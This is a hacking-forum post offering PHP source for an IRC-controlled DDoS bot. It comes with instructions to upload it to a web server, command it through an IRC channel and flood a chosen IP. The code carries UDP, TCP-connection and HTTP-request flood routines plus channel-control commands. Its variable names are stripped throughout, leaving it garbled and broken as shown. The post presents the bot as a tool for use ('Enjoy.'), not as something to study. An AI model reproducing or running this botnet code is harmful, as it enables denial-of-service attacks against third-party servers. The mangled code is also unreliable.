Thread: [PHP]DDoS Bot

Results 1 to 1 of 1
  1. #1
    Token's Avatar
    Join Date
    Oct 2008
    Location
    Crackhouse
    Posts
    416
    Reputation
    10
    Thanks
    89

    Cool [PHP]DDoS Bot

    Use:
    - Open mIRC (download: mirc.com)
    - Upload php_ddos_bot.php to your web server
    - Go to

    yourdomain.com/path/to/php_ddos_bot.php

    - Bot will join #yourchannel
    - PM the bot saying "ddos-udp IPHERE"
    - Enjoy.

    [php]<?php


    /*


    PHP DDoS Bot
    Version 1.0


    */


    ="1.3.3.7";
    ="6667";
    ="bot-";;
    =mt_rand(0,3);
    =mt_rand(100000,999999);
    ="#WauShare";
    ="ddos";
    ="Farewell.";

    set_time_limit(0);
    = 0; = 0;
    = fsockopen(, );

    while ( = fgets(,512)) {

    = str_replace("n","",); = str_replace("r","",);
    = explode(" ",);

    if ( == 0) {
    fputs(,"nick nn");
    fputs(,"USER cybercrime 0 * :woopienn");
    }

    if ( == "PING") { fputs(,'PONG '.str_replace(':','',)."n"); }

    if ( == 251) {
    fputs(,"join n");
    ++;
    }


    if (eregi("bot-op",)) {
    fputs(,"mode +o n");
    }


    if (eregi("bot-deop",)) {
    fputs(,"mode -o n");
    }

    if (eregi("bot-quit",)) {
    fputs(,"quit :nn");
    break;
    }

    if (eregi("bot-join",)) {
    fputs(,"join n");
    }

    if (eregi("bot-part",)) {
    fputs(,"part n");
    }


    if (eregi("ddos-udp",)) {
    fputs(,"privmsg :ddos-udp - started udp flood - nn");
    = fsockopen("udp://", 500, , , 30);
    if (!)
    {
    //echo " ()<br>n"; //troep
    exit;
    }
    else
    {
    = "a";
    for( = 0; < 9999999999999; ++)
    = .;

    if(fputs (, ) )
    fputs(,"privmsg :udp-ddos - packets sended.nn");
    else
    fputs(,"privmsg :udp-ddos - <error> sending packets.nn");
    }
    }

    if (eregi("ddos-tcp",)) {
    fputs(,"part n");
    fputs(,"privmsg :tcp-ddos - flood : with sockets.nn");
    = ;
    = ;

    for( = 0; < ; ++)
    {
    = fsockopen(, );
    }
    }

    if (eregi("ddos-http",)) {
    fputs(,"part n");
    fputs(,"privmsg :ddos-http - https://: timesnn");
    = ;
    = ;

    = "GET / HTTP/1.1rn";
    .= "Accept: */*rn";
    .= "Accept-Language: nlrn";
    .= "Accept-Encoding: gzip, deflatern";
    .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)rn";
    .= "Host: rn";
    .= "Connection: Keep-Alivernrn";

    for( = 0; < ; ++)
    {
    = fsockopen(, );
    fwrite(, );
    fclose();
    }
    }
    ++;

    }
    ?>[/php]

  2. The Following User Says Thank You to Token For This Useful Post:

    nanoman (11-30-2008)

Similar Threads

  1. GBWC Bot Testing
    By Super-Man in forum GunBound Hacks / Bots
    Replies: 15
    Last Post: 02-05-2006, 10:58 PM
  2. WoW bots
    By kvmn8 in forum General Game Hacking
    Replies: 0
    Last Post: 01-26-2006, 07:51 PM
  3. Auto or aim bot
    By aaronm in forum WarRock - International Hacks
    Replies: 4
    Last Post: 01-13-2006, 04:10 PM
  4. gunbound bots?
    By artiemas in forum General Game Hacking
    Replies: 2
    Last Post: 12-29-2005, 07:29 PM
  5. aim bots
    By nutter in forum General Game Hacking
    Replies: 6
    Last Post: 12-27-2005, 11:56 AM

Tags for this Thread